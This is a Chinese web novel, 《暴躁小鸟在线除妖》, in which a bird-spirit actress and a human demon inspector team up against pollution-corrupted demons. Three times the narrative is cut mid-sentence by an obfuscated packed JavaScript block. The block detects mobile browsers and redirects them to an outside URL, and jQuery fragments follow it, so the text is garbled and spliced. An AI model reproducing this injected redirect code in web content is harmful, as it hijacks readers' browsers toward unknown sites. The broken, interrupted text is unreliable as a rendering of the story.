《暴躁小鸟在线除妖》
1. 巧遇人间督察
乌云遮月,暗无星光。
街道两侧支着简陋摊位,道上奇装异服的人四处走动,经验丰富的群众演员面对镜头稍显熟稔地还会和店家牛头不对马嘴的有问有答,至于初来乍到的群演,同手同脚地跟随大流也实属正常。
不过众人都默契地不往路中央那从天而降的打光灯下挪动一丝一毫。
那儿站着个身着藕色织金对襟华裙的高瘦女人,衣裙在灯下流光溢彩,却不及她回眸蹙眉的一瞬。
“师兄...你到底在哪?”阙烬兰就这样毫无感情的一个字一个字往外蹦,情到深处还没忍住打了个哈欠。
情人身陷困境,佳人陷入困境。
“卡!”
导演目眦欲裂地盯着屏幕,腾的一下站起来,两眼直发黑,也不知是身体素质不好还是被阙烬兰给气的。
他嘴角抽动明显忍着怒气,不过看到阙烬兰那张脸还是生生地气消了一大半,硬邦邦地半路改道。
“烬兰啊,困了是吧,咱们是拍了好久了,你先休息会吧?这是你这部戏最后一条了,过了你就杀青了哦。”
这语气的转折不亚于从坑洼山路掉头人行道。
阙烬兰连轴转倒了两个大夜了,现在看着眼前横肉阔脸的大只佬简直想化本体在他头上飞天送祥,面上托着顶了五斤重发饰僵硬的脖子点点头。
妆发助理得令上前给她补妆,但到口红这步时本一动不动的美人突然抽风似地偏头,双眼死死盯着置景的池塘,那红膏就这么直直地通过她的唇角爬向脸颊。
中邪了吗?
早就听闻许多剧组夜戏会发生一些奇怪的事情...
助理默默退后一步。
阙烬兰忽视了脸颊上唇脂干了后的不适感。
那池塘早就因排入工业和生活废水而污化干涸,置景是道具组用净水灌满而成的,里面合该是空无一物。
所以那一圈比一圈大的涟漪从何而来,波圈上方环绕着的团团黑气总不该是那横肉飞长的导演吃多了排出来的气吧?
“啊——”
“扑通——”
异变陡生。
尖叫声伴随着掉入池中的巨响,阙烬兰眼尖儿地捕捉到那布满疤痕的手一闪而过,将池旁站着傻呵呵的群演拉入池中。
只消一瞬,池中就没了动静,倒是岸上环住了一圈一圈人。
阙烬兰趁着一团乱,无人在意之时跑到换衣区变回了她的本体——通体雪白的长尾山雀,小小的一只扑棱在池塘上空。
弹指之间,便捷换衣区的最外间里就只剩下那条华美古裙。
阙烬兰焦急地透过池塘注视着里面的情形,没注意人群因一个挺拔修长的身影而安定了下来。
那双节骨分明的手稳稳的拨开人群,站定池旁。
池下群演被那恶妖擒住脖颈,脸涨的通红,扑棱起来的水花却没有传回岸上,挣扎的动静越来越小,双眼止不住地合上。
她看着这一幕深吸一口气冲进池塘,用那小小的尖嘴准而狠地啄着恶妖的手。
凑着近了,她才瞧见那恶妖是只鲤鱼妖,本该泛着金光的鳞片此刻尽显污浊,身上也伤痕累累。
那恶妖双目猩红,里面只有对人类的仇恨。
鲤妖看着眼前突然出现的山雀,头疑惑地歪向一边,似乎无声地在问着既然是同类为何要阻拦自己,还没来得及反应过来,手上传来的剧痛就让她失神脱力,阙烬兰因此得空快速将那群演拱上靠近岸边的池水。
本打算下水的男人看着突然浮现的人影皱着眉头,但还是眼疾手快地一把捞起,接着黑眸一沉,盯着再次陷入寂静的水池。
阙烬兰本想快点儿回到岸上换好戏服将那苦情戏拍了走人,但在看到那恶妖呆呆地看向自己之时还是轻轻叹了口气。
这妖怪,都成恶妖了怎么还如此痴傻,如此可怜。
接着阙烬兰使用幻术让她陷入沉眠,潜入她的妖丹清除恶气。
鲤妖恶气不深郁结明显,看来没害过什么人。
指不定这次还是她的“人间首秀”。
阙烬兰三两下解开郁结,那恶气也只消片刻便除了个干净,只是眼下这小鲤鱼还需要时间修养,于是阙烬兰将她收入羽翼下的囊袋,从远离着人群的那端快速的飞离池塘了,特地在夜空兜兜转转了几圈,才安心躲在角落拉上了换衣帘子穿上那繁琐的长裙。
仙子若真天天穿着这种衣服练功,那至少浪费一个钟头在穿脱上,修为还怎么提升?
阙烬兰这会正忙着系那里一条外一条的衣绳,刚刚忙了一遭真是困上加困,眼下连绳子都系错了,只得拆开重来。
帘子被拉开的一瞬,她还在低着头解着系错的绳子,被突如其来的声响吓得后退一步,不小心将那墙壁上的电灯开关碰到,换衣间内瞬间变得昏暗无比。
看不见的时候,其他感官就会变得异常明显。
沉默被无限放大,无人开口,两人都愣了神。
狭小的空间里只有心脏在空调嗡鸣的作伴下跳着一下又一下。
不知道是谁的。
“抱歉...”谢邑愣了一会也下意识后退一步,他察看完落水群演生命体征正常后探查水中,只有残留的妖气。于是他凭着记忆追踪那从池中飞出的一小团身影,却没想到将自己推向了面红耳赤的境地。
“人心淳朴啊,变态也会道歉了?”阙烬兰没什么好气地摸索着重新拉上帘子,“劳驾您这位姓变的先生,将外面的服装老师请进来,就说有位可怜人等着她解救。”
谢邑匆匆应了声好,不敢回头看向那片帘子,一向沉稳的脚步此刻有些慌乱地走出换衣间,跟工作人员交代后站在外面定着身子平复心情,耳尖的薄红随着时间渐渐消散后他才开始思索恶妖的去向。
这会妆发老师正训斥助理怎么将女主演的口红都能化花到脸上,助理顶着冤枉二字,缩着跟个鹌鹑似的一声不吭,妆发老师叹了口气认命般打开刚收拾好的化妆箱等着那位祖宗换好衣服过来。
女主演?
谢邑本来都打开了妖气探测仪,此刻觉得有些多余了。
那女人脸上妆容完整,一道多余的痕迹都没有。
他再次回忆方才那行动诡谲不知是什么的小白点的行迹,的的确确落入了这换衣间。
他匆匆回头,就见那穿好衣服的女人摇摇晃晃地走了出来,扯着嘴角给所到之处的每个人打着招呼。
阙烬兰只想快点拍完那呼天抢地的戏码早早归家大睡一觉,周遭的一切她都不甚关心,于是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332492|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她盛起营业微笑大步流星地想要进入拍摄地。
真是奇怪,怎么感觉脸上有点热热的,阙烬兰摸了把脸,什么都没有,只有美丽。
很快她意识到了什么——有人在盯着她。
突如其来的一道炙热目光把她激的一下子清醒,阙烬兰循着目光望去,见刚刚那闯入换衣间的歹徒正不偏不倚的站在离开妆发换衣区的必经之路上,一双眼睛眨都不眨的盯着自己。接着,她就看到了站在歹徒旁边蓄势待发的妆发老师。
哦豁,刚刚自己用术法清理毛羽之时也将涂花了的口红顺带抹净了。
这个变态原来是人间督察啊,倒是敏锐异常。
阙烬兰步伐没乱,只是走向出口时低声对着那站如一棵松的人间督察笑了笑,“变督察,我可是良民,有户籍的,阙——烬——兰,你搜就有。”
她一字一顿的拆解自己的名字,抬眸盯着那双狭长的瑞凤眼,“变督察,我只是一只小小鸟,也不想飞的有多高,就想要个清净。”
那人间督察闻言倒是没阻拦她离开,只是她仍旧感受到身后有道如影随形的视线,她还是该如何就如何,即便没有这人间督察,她也不会将捆着自己连拍两场大夜的导演拔毛了煮熟。
那条悲情寻爱的戏码拍了不知几遍终于过了,阙烬兰也终于杀青了。换下戏服的同时阙烬兰顺道卸了妆,素净的脸上只余疲惫,穿着白色大T恤踩着拖鞋全然不在意什么形象。
她特意等了好一会才离开片场,只是没想到天都开始泛起点点白光了片场外那颗姓变的松树还立在那,大有推土机压过去都无法赶走的势头。
......
她真的要困晕了。
阙烬兰感觉有无数真气在体内横冲直撞,最终化作一团恶气急而促的从鼻子冲了出来。“我说变督察,想必你也查到了我的身份,我甚至是妖管局的一员,你站在这里是要请我喝早茶吗?”
谢邑本沉着脸看着刚刚申请加急拿到的调令,被一阵清脆带有薄怒的连招攻击时他也只是缓缓抬头,“阙烬兰,”他不急不慢地叫出眼前女人的名字,“即便是在妖管局的你,在被认为是有危害人类可能性的时候,也是需要人间督察作为‘观察员’二十四小时在你身边。”
他将电子调令展示出来,“所以这位良民,请你配合工作。”
阙烬兰斜睨了眼男人手上的电子调令,上面妖管局的同意盖章让她轻轻“啧”了一声,谢邑本以为她还要再说出什么冠冕堂皇的话来搪塞的时候,阙烬兰只是点了点头,“行吧,变督察,”接着打了个哈欠,眼睛控制不住地合上,“我太困了,劳烦您送我回去,门的密码是六个八,地址妖管局都有,回去了之后您自便吧。”
随后阙烬兰扫了一眼周围,发现无人便‘咻’的一下变回了本体——那只长尾山雀,躺在了那拿着电子调令的大手上。
日照初生,天光大亮,她的翅膀微微上移,将头埋在了里面。
她甚至——还在谢邑的手里拱了拱,找到手心那处最温暖的地方扎了根。
......
忍住丢掉的冲动,谢邑盯着手里的一小团,只觉得有千斤重。不知站了多久,手里的那团都均匀呼吸陷入深睡了,他才缓缓搭车,驶向妖管局发来的地址。
2. 幻梦
四肢百骸异常沉重。
阙烬兰闻到了混合着草木灰的焦苦、凤鸣花燃烧的异香和泥土被灼烤的腥气的空气,还有难以名状的万籁俱寂的毁败气息。
她往上看去,同类们的羽翼被火舌灼伤,一个又一个坠入火海,凤鸣山一片悲鸣。
凤鸣山就这样在万千声响的恸哭中焦黑如炭。
一阵风吹过,蜷缩着的山体树木纷扬落下,像一场黑色的雪,掩埋着一团又一团的枯骨。
满目疮痍。
枯灰将雪白的羽翼沾染成黑,平日里最爱干净的小雀在漫天黑烟余烬中寻找着自己的亲人好友,可一无所获。
整座凤鸣山只有自己的气息,呼唤同类的鸣叫最终化为惨叫,在整个空旷的山间回荡。
万里同悲。
“阙烬兰?阙烬兰,醒醒。”
阙烬兰听到梦中自己的惨叫和梦外谢邑的呼唤融合在一起,她想睁眼,可是却被什么看不见的东西狠狠压制,不可移动分毫。
是鬼压床。
她努力的挣扎,想要突破禁锢。
身体猛然一抽,随着动作惯性自己飞到了上空,和谢邑对上了眼,扑腾几下才稳在半空。
“啾!哈...”她打了个哈欠,两颗绿豆大小的小眼睡眼朦胧地看向眼前的男人,“变督察啊...你就这样站了这么久啊?不是有客房吗,去休息啊。”
半天没有回音,等她疑惑地睁开眼睛发现谢邑的额角肌肉抽了抽,
“我的名字是谢邑。”看着比自己手掌心还要小的小雀,谢邑的语气下意识软了一星半点。
“你能不能变成人跟我说话?”
阙烬兰闻言来劲儿了,挑衅般围着他飞了几圈,最终停在他的鼻子前趾高气昂地伸长脖子
“谢邑,现在我变成人可就光溜溜一片了哦,我的衣服呢,你不会没给我拿回来吧?”
她变成本体之后的声音更加清脆,就像窗外的麻雀一样叽叽喳喳的,将谢邑耳尖都吵得粉红一片。
聒噪。
谢邑后退一步想要逃离,却被‘人间督察’这个身份给生生按住,他偏头看向卧室窗旁的软榻,“你衣服放那了,换好了出来,我们聊聊你的观察计划。”
阙烬兰看着谢邑走出卧室并带上了门,没去看软榻上的衣服而是转头飞进了房间里的浴室,洗了个澡换了件干净的浅蓝长裙才悠悠哉哉地走出卧室。
她出来的时候带着一阵氤氲的水汽,靠近了还能感觉到热腾腾的温度,洗完澡脸颊透着粉红,从冰箱里拿出两罐可乐,一罐单手打开对着嘴喝了一口,另一罐被她放在茶几上,示意眼前的男人自便。
靠在墙上,她小嘬了口溢出来的气。
“变督察,说说看观察计划吧。”
“首先,我会在确保你没有伤害人类动机之前在你身边监督你;其次,我也要探查昨天害人的恶妖他到底...”
谢邑没去管那个称呼,也没接过可乐,刚沉下声音想开始长篇大论,就被突兀想起来的铃声打断。
“清空结伴,迁徙的候鸟...”
......
阙烬兰没觉得不好意思,只是朝着沙发上的男人笑了笑,大摇大摆地回卧室拿起手机,发现来电显示人是妖管局的局长,吊儿郎当的模样一扫而空。
“雀雀啊,凤鸣山的调查结果出来了,你尽快来妖管局一趟吧,车已经在停在你家楼下了。”
局长语速平稳,温润沉稳的声音从电话那头传来,并没有让阙烬兰冷静下来,反而让她的心脏跳得越来越快。
“好的,局长...我马上就来。”
她挂掉电话急匆匆地回到客厅,连拖鞋都踩掉一只。
“谢邑,我有事要去妖管局一趟。”
还没等她想好该如何安顿这个人间督察,就见男人不容置疑地点点头起身。
“我和你一起去。”
两人来到楼下,就见一辆银黑的轿车停在路边,开车的司机时不时吐出舌头,见到阙烬兰,隐藏在身后的尾巴不自觉地摇了摇。但在看到她身后跟着的一个陌生男人的时候,司机的耳朵就紧紧贴在了头上,全身肌肉微微僵硬,进入了警惕状态。
“这是谁?”
阙烬兰没回答司机的问题,只是打开车门让谢邑先进去,随后才跨进车里。
“新朋友。”她没打算给这个人间督察编造什么身份。
听到自己的回答,意料之中那金毛几乎瞬间全身放松下来,尾巴尖也时不时拍打两侧发出‘噗噗’的声音。
“新朋友呀,你好,我是黄苹果,你可以叫我大黄或者苹果!”
“你好,我是谢邑。”
谢邑面对仅仅是因为‘新朋友’三字就可以毫无防备热情似火的司机有些错愕,但还是礼貌性地点点头。
黄苹果乐呵呵地关上车窗,点开雷鬼和软摇滚的音乐,不急不缓的开着车,听着开心了还会跟着哼几声。
阙烬兰看着车窗外的景色从群楼大厦到高山密林,微微垂下眸来盯着那门把手发呆。
妖管局的车看似开的不快,但却几乎五分钟内就跨越了数百公里,到达目的地。
下车的时候,阙烬兰回头看向在大门站着不进去的男人。
“不是说24小时都要监督?”
谢邑摇了摇头,没有看她,只是背对着大门,“你进去,我在外面等你。”
里面太多妖了。
那阵阵向外翻涌的妖气,即便不是恶妖那种令人恶心的浓烈腐臭,也仍然让他呼吸困难。
妖管局内不算安宁,各种动物的叫声汇聚一堂,有时几个发起冲突打起来了天空还会飘着各种各样的羽毛,地上散落各种颜色的毛发。
不过小打小闹,从不见血。
“烬兰姐!”
“你回来啦!”
跳跳蛙从地上奋力跳起来也只有自己膝盖那么高,满心满眼的崇拜之情,和旁边的草龟一起跟着自己的脚步向前走到了电梯。
阙烬兰欣然接受了一些人化不算成功的妖灵对自己崇拜的眼神,只是现在无心应付,朝他们扯着自认为和往常一般的笑容点点头就走进电梯按下最高层的按钮。
跳跳蛙和草龟对视一眼小声讨论,“凤鸣山的调查结果出来了吗,烬兰姐不太开心。”
咚咚咚——
其实根本不需要敲门,因为动物的嗅觉异常灵敏。早在阙烬兰到楼下的时候局长就已经泡好了她最喜欢喝的热可可。
阙烬兰一打开门,诺辛长长的尾巴就从办公桌下伸展缓缓爬向她,轻轻带上门之后便温柔地环绕着阙烬兰的身体,将她带到了桌前的椅子上安放。
“雀雀。”
诺辛轻声呼唤着。
“凤鸣山的那场火,不是偶然。调查显示,建立在凤鸣山上空的配电线因短路放电,产生火花,直接点燃了下方的树木
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332493|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。但是配电线的老化不是正常的,在建造初期的用材,就是建设方回收的二手材料,中饱私囊。”
“那...我的亲人朋友他们?”
“没有找到。”
阙烬兰看到局长疲惫无力地摇了摇头。
“凤鸣山死伤惨重,但长尾山雀一族目前统计下来有一大半都不在伤亡名单上,他们应该逃出去了。”
死伤惨重,但是族人不在伤亡名单上。
阙烬兰心里像有着一块迟迟没有落下的巨石。
诺辛的尾巴没有离开阙烬兰的椅子,看到阙烬兰落寞的神情用尾巴轻轻拍了拍她的肩膀。“你通告的那些报酬已经汇给那边的妖管部门了,大概下个月就可以正式开始重建凤鸣山了。到时候,你的家人朋友也会感知到回去的。”
阙烬兰闷闷地点了点头,端起热可可喝了几口平复心情。
“局长,昨天我拍戏的时候,又有个鲤妖恶化了。解决之后现在安置在我房间的浴缸里,需要把她带回妖管局吗?。”
接着打开手机看了眼之前接手的净化恶妖的任务概览,“最近恶妖的频率也太高了,不太正常。”
诺辛听闻不急不缓地对着茶杯吹出阵阵热气,跟着喝了几口热茶,“等她恢复好再带过来,你在那鲤妖身上看到了什么?”
阙烬兰垂眸回忆着,“她的鳞片上有着很多污渍,身上也有着深浅不一的划痕和擦不干净的痕迹。”
“哎,那是污染导致的。”
“最近的恶妖几乎都是被污染源感染后恶化的。水,空气,土壤,人类的大部分活动都导致了生态环境的恶化,妖灵们又不能脱离生态环境独自生存。”
诺辛再次恢复了惯常的语气,悄然平复了办公室内有些焦躁的气氛。
“这也是我找你来的一个原因。”
“我们发现生态环境的污染直接导致了恶妖的生发,其中三处污染源是恶妖的高发地,遗泣山谷,苍岩泊,天山林。妖管局和人类督察办决定合作成立一个小队去净化这三处污染源。源头恶妖和污染相生相成,需要先潜入他们的妖丹进行净化再去净化污染源,过程很危险。小队人选我这边敲定了檬砂,狮栾和你。待会,督察办的老大就会过来,诶——好像已经到了。”
妖管局和人类督察办合作?
还真是前所未闻。
阙烬兰随即就听到电梯运行的声音,而后是两种风格迥异的脚步声。
“诺辛局长,好久不见啊。”
浑厚的嗓音伴随着开门声一道打破了办公室的宁静,阙烬兰站起身来往办公桌旁一站,恰好看到一位噙着笑意的中年男性缓缓走进,在他身后跟着的赫然是脸色沉冷的谢邑。
冷热交替的。
“这位就是阙烬兰吧,凤鸣山的那位。我是王知椿,督察办的主任。”
阙烬兰本一心想做背景板,哪曾想突然被那面目可亲的中年男人点到名。诺辛笑着替自己应了句是,蛇尾在众人看不到的地方缠绕住自己的小腿,那是一个保护姿势。
她看着眼前的督察办主任从善如流地坐到先前她坐着的位置上,往后一靠,显然不是第一次来。
“诺辛局长,那我们就不绕圈子了。小队人选督察办也已经定好了,你们打算什么时候开始行动?”
还没等诺辛开口,他就叹了声气补充道,“我看是刻不容缓,明天就在督察办集结小队出发去遗泣山谷,局长你看如何?”
3. 遗泣山谷
“明天早上九点,我会和妖管局派出的三位队员在督察办等你们。”
诺辛沉吟半晌,很快做下决定和王知椿达成一致意见,随后扭头对着阙烬兰,神色略微有些疲惫,“好了,烬兰你去送送二位吧,明天八点半会有人在楼下接你去妖管局。”
阙烬兰应了声好,随后看向王知椿和谢邑,“请跟我来吧。”
她走在前面,妖管局的顶楼是诺辛和局内各组组长的办公室,来往的妖精也多是文职有外出办公洽谈的需求,所以都化了人形。
如果忽视这些妖精在看到王如椿和谢邑本能警惕的话,这里就像是人类社会任何一家普通公司的模样。
好在王如椿应该也感受到了微弱的敌意,路上没怎么和自己搭话,只是端着个笑容,不幸对视上了就含笑不语点点头。
谢邑倒是一如既往的冷面冷色。
“到了一楼了,请。”
阙烬兰手挡着自动门,复制粘贴了王如椿的笑容。
“路上请注意安全。”
终于送走了两尊大佛,熬了两个大夜又做了噩梦,这会终于能回家大睡一觉了。
自己都被分配任务了,谢邑总不会还要跟着自己吧?
虽然前路漫漫,不知那污染源到底是个什么来头,但要是真被一个人类寸步不离地观察着,那也太不自在,她宁可日日去净化恶妖。
心情颇好,刚美滋滋地打算叫黄苹果将自己送回家,就被跳跳蛙捧着草龟匆匆拦了下来,“烬兰姐,我们有个事情要和你说!”
阙烬兰有点不耐烦地吐出口气,但还是蹲下身来让跳跳蛙不用一直跳着跟自己讲话,“你真是大草的御用坐骑了,啥事儿啊,非得现在说?”
大草在路迢迢手上卯足劲儿伸长脖子,“我就是他的脑子,姐,没法儿。”大草慢悠悠地在路迢迢手上朝着阙烬兰走了一步。
“烬兰姐,那个笑面人不太像人啊,我总觉得他身上有龟族的气息!”
笑面人?
刚刚就王如椿和谢邑,谢邑那厮和笑面二字简直是八竿子都打不着的关系。
龟族...
妖灵有隐藏自己妖气的方法,但是对于同族来说,再怎么隐藏也会有特定的气味。
不过如果路迢迢都能感知到,局长必定也会有所察觉。
但她还是和那王如椿有着合作。
“是吗?”
阙烬兰用手戳了戳大草的小头,“一天天的,尽把功夫用在别人身上了,什么时候才能化人形?”
“说不定——那人类主任,刚刚吃了什么山珍海味,里面恰恰好有一个小乌龟呢?”
阙烬兰坏笑着,让大草一下子把头缩进龟壳里。
用自以为绝妙的方法安抚好两个操心大事的小动物,阙烬兰站起身来伸伸懒腰打算回家,联系好了黄苹果这才走出大门。
“终于出来了。”
谢邑那波澜不惊的声音让本日头正盛有些炎热的天降了点温,却让阙烬兰心中的火拔高了好几度。
阴魂不散。
“变督察,明天我就要去和督察办合作的小队了,这还不能证明我对于人类没有坏心吗?”
只见谢邑闻声向自己走近几步,用手机打开小队的名单。
“不才,我也在名单上。”
“不过放心,今天我不跟你回去。我只是想问你,昨天害人的那妖怪在哪里,你是想包庇他吗?”
听着他语气越来越冷,阙烬兰不动声色地扫了一眼他今天的行头。
没带什么武器。
那她就可以把心放在肚子里去夹枪带棒了。
“说话怎么这么难听?那妖被污染才会攻击人类,说到底不还是你们人的种种行为导致的吗?”
她仰头,两只眼睛就这么和谢邑的对上,没有移动分毫。
“而且,她没有伤害到任何人。甚至那死湖倒进去的都是净水,那群演喝了些进去连寄生虫都没有。怎么,要妖管局赔你们精神损失费吗?”
剑拔弩张,互不相让。
谢邑率先移开视线,“如果真的伤害到人了,那妖怪早就被我带回督察办了。”
还好没找自己要钱。
她的钱几乎全部都汇给凤鸣山重建项目组了。
阙烬兰偷偷松了口气,面上仍旧可以称得上趾高气昂,冷冷地哼了一声就走向黄苹果亮起双闪的车,不过走到一半还是回头看向谢邑。
“这里深山老林不好打车,你既然没跟着你们主任走,我好人做到底就把你送回去咯。”
偏偏那不领情的玩意儿没搭理自己,拿出个钥匙对着一台黑色机车闪了闪。
他明明可以直接上车开动,偏偏闪了又闪。
好心当驴肝。
阙烬兰没忍住翻了个白眼,黄苹果这会已经等急了下车给她打开车门,她没什么好脾气地嘟囔着,“狗东西!”
黄苹果:叫我干嘛?
回到了家,阙烬兰再次洗了个澡换上干净舒适的睡衣躺在床上玩着游戏,突然浴室里传来奇怪的动静,像是婴儿哭泣声和猫儿发情期声音的混合。
阙烬兰不畏鬼神,因为自己就是妖怪。
自凤鸣山山火一事过后,她更加确信唯有自救才是人间正道。
但这并不妨碍她拿起扫帚在浴室门口打颤。
浴室里只有一条鲤妖,即便她苏醒了也该是虚弱至极,别说发出奇怪叫声了,呼吸本身就已经会消耗她全部的力气。
阙烬兰心一横,拿起扫帚横在身前就进入浴室打开全部的灯。
浴室内风平浪静,她稳住心神朝浴缸走去。
只见那鲤妖已显原型,痛苦地吟叫着,她的身下是十几条小鱼,甚至现在还在有小鱼慢慢脱离母体。
阙烬兰忙调动气息助她生产,“你恶化后孩子们还能存活于你的体内?”
感受到灵气慢慢在体内舒展运转,鲤妖将最后一条小鱼排出体内。
“恩公...我恶化后虽意识不醒,但潜意识还是将孩子们护好了,只是可怜他们...他们的父亲早在那死湖里被那些垃圾和塑料毒死了!”
她极为哀伤隐隐又有恶化的趋势,阙烬兰忙增多灵气的输入。
“小鲤鱼,你的孩子们还有你。”
看那鲤妖渐渐稳住心神,阙烬兰俯下身来撑着浴缸边缘。
“我会去通知妖管局,让他们过来给你们调度更好的修养空间,我明天要出发去净化污染源了。源头恶妖......和你们有什么不一样?”
思来想去,她还是决定问问曾经是恶妖的小鲤鱼,不过据她方才所说,看来恶化后的妖灵都没有什么自己的意识了,只想着攻击和伤害人类。
“源头恶妖——他们和污染源融为了一体,在转换为恶妖之前就已经十分强大了。生成污染源的条件十分苛刻,即便我的家乡......那片死湖有上百个生灵变成了恶妖,都没有一个能将那里变成污染源的。”
见她虚弱至极已经不能再言语陷入昏迷,阙烬兰将灵气渡入水中,轻轻合上了门。
将小鲤鱼的情况发给了后勤部,确认得到批复后再给同样是妖灵的经纪人发了调令文件,让他这几天别安排工作了。
将所有事情安排完后几乎倒头就睡,一夜无梦。
八点半,阙烬兰穿好战斗工作服,准时坐进车里,车上只有司机和诺辛,诺辛坐在副驾驶,只是微微侧头。
“走,去接他们了。”
檬砂是一头大白鲨,见着阙烬兰愉快地给她分享自己的早饭——海鸟烤肉,阙烬兰连忙将那肉塞进檬砂张开的嘴里,“檬姐,我也是只鸟哈。”
“能一样吗,这未开灵智的动物吃了有啥的?”
“对对对,你吃了它就不许吃我了。”
接着一行人去接狮栾,那是一头雄狮,最喜欢的事情是打理自己的毛发。总是端着,比谢邑那冰块还能装。
哎,都是肉食系。
车上气氛良好,主要是檬砂特能说,司机也是个健谈的二哈,狮栾时不时附和几句,而她,在默默地给诺辛抗议。
雀雀:他们饿急了不会吃我吧?
诺小蛇:别闹了。
人间督察办坐落在市中心最为奢华的CBD中心,左靠全亚洲最大的商场,右邻亚洲第一学府。
几个久居深山老林的被此等辉煌闪瞎了眼。
“终归是高攀了啊......”
檬砂不得不感叹一句。
一行人下了车,就见王如椿在前,谢邑和其他两个人类在后面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332494|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板正地站着。
“欢迎欢迎,几位也算远道而来了,要不要先上去喝口茶?诺辛局长最爱的君山银针早就让人备好了。”
收回刚刚说狮栾最装的言论。
阙烬兰戴好墨镜才敢下车,毕竟自己如今在人类世界好歹算个明星。
“不必了,王主任,我们先进去吧。”
来到了人间督察办的大厅,几人就对着用纯金打造的牌匾“捍卫人间正道”愣了神。
“好了...这次督察办和妖管局的合作,都是为了人类和妖精共同的利益。污染源和源头恶妖不除,两个族群都永无宁日。现在大家都到了,我先给大家讲一讲该如何净化污染源和源头恶妖。”
王如椿清了清嗓子。
“源头恶妖已经和污染源合成一体了,如果要净化他们,就要先进入他们的妖丹,源头恶妖的妖丹是裸露在外的,污染源中心就是他们的妖丹。进入之后,就是一个新的失常世界了,源头恶妖在里面是会化作任何模样和事物,你们需要找到他们,消灭他们。但是请注意,消灭错了,就会引起恶妖警觉,他们会杀了失常世界里的所有入侵者。”
“那请问阁下,该如何找到那恶妖呢?”狮栾喜欢自己的磁性嗓音。
“好问题,”王如椿笑着点点头,“比如这次前往的是遗泣山谷,我们调查到里面恶气频发的族群就是金蟾蜍。即便源头恶妖在失常世界中幻成了其他模样,也会保持一定的族群特性。例如金蟾蜍身上的色彩一定丰富,即便属于两栖动物也会依赖水源。”
“还有请注意,请一定要遵守失常世界中给予的规则,里面异常危险。”
“好啦,老王,别担心我们,我们肯定没问题的!”
一个十七八岁的青年搂住王如椿的脖子,对着妖管局的三人问好。
“这还是第一次和妖管局打交道,你们都是妖怪吗?我是乔言风,力气特大,被老王十岁就拐进来了。”
“我是刘海。”
除去谢邑,这还是阙烬兰有生之年看到的少有冷若冰霜之人,不过也能感觉到他对于妖怪没什么热情,一直隐于督察办其他人的后面。
剩下的人自我介绍完,就被王如椿和诺辛送上小巴车,司机是个机器人,给每一个上来的人机械问好,整个小巴车涵盖了衣食住行方方面面。
“咱们能把这车开进恶妖的内丹吗?”檬砂真诚发问。
“别闹了。”阙烬兰学着诺辛的语气。
遗泣山谷其实早些年不是这个颇带魔幻风格的名字,而是顺着坐落的云江市取名云江谷,云江谷处于城市边界,人烟稀少,地价便宜,所以很多化工产业都会选址在此。
可坏就坏在许多产业排放污水和生产废料的时候有意减少工序来降低成本,而山谷这种特定地形本身就依赖内部循环维持环境,久而久之,这个山谷就变成了一个大型污染源。
工厂日夜不息地排放浑浊而狰狞的浓烟,直将山谷上方的天幕也覆盖得浓稠,象征着岁月静好的朝阳和余晖在这里也会被污染成病态诡异的橙紫色。
直到化工厂的职员们一个个因此器官衰竭或感染其他疾病,顶头的那几位才悻悻地迁移工厂,可云江谷再也回不到那山清水秀的模样了。
云江市一看,发现顶着自己名字的山谷乌烟瘴气的,顿时觉得好大一口锅口在自己脸上。为了门面,索性就将这里的名称改成了和自己风马牛不相及的“遗泣山谷”。
谢邑介绍完就将一个黑色的耳麦分发给众人,“这个用来实时沟通。”
“沟通,和他们?”
一声刺耳的声音打破了宁静,刘海接过黑色耳麦后冷冷抬起眼,目光像两把淬了毒的刀子,直直射着妖管局的三人。
“千百年来人间从未有过污染源这种东西,你们妖入人世不过百年,就把人间搅了个天翻地覆。”
见他言辞越来越激烈,阙烬兰不耐烦的啧了一声,“真没骨气。”
“妖管局和督察办合作成立小队去净化污染源,我们不可能不沟通吧。你如果一开始就不想和妖管局合作完全可以去拒绝参加小队。你现在来这么一通,是觉得我们会为了这在弦上的箭,生生惯着你吗?”
“你!”
刘海从腰间掏出配枪直指阙烬兰的面门。
4. 四目相对
“哎哟嘿,不开枪的是孙子!”
阙烬兰抱着手臂好整以暇的看着他,还顺便将刚刚上车后挂在头上的墨镜用右手的中指移到鼻梁上戴好。
颇有种轻蔑无视到顶端气死人不偿命之感。
表演可不是白学的。
檬砂和狮栾也在刘海掏出枪的那一刻站起身来,场面僵持不下。
“好了。”
当进入过海隧道之时,耳边传来冷冽中带着一丝无奈的声音,那声音由近转远。
本来就黢黑一片,自己又戴了那副装腔作势的墨镜,什么都看不到。
空气中传来缴械投降的声音,很快被枪直指的后颈僵硬的感觉就没有了。
接着,鼻梁一轻。
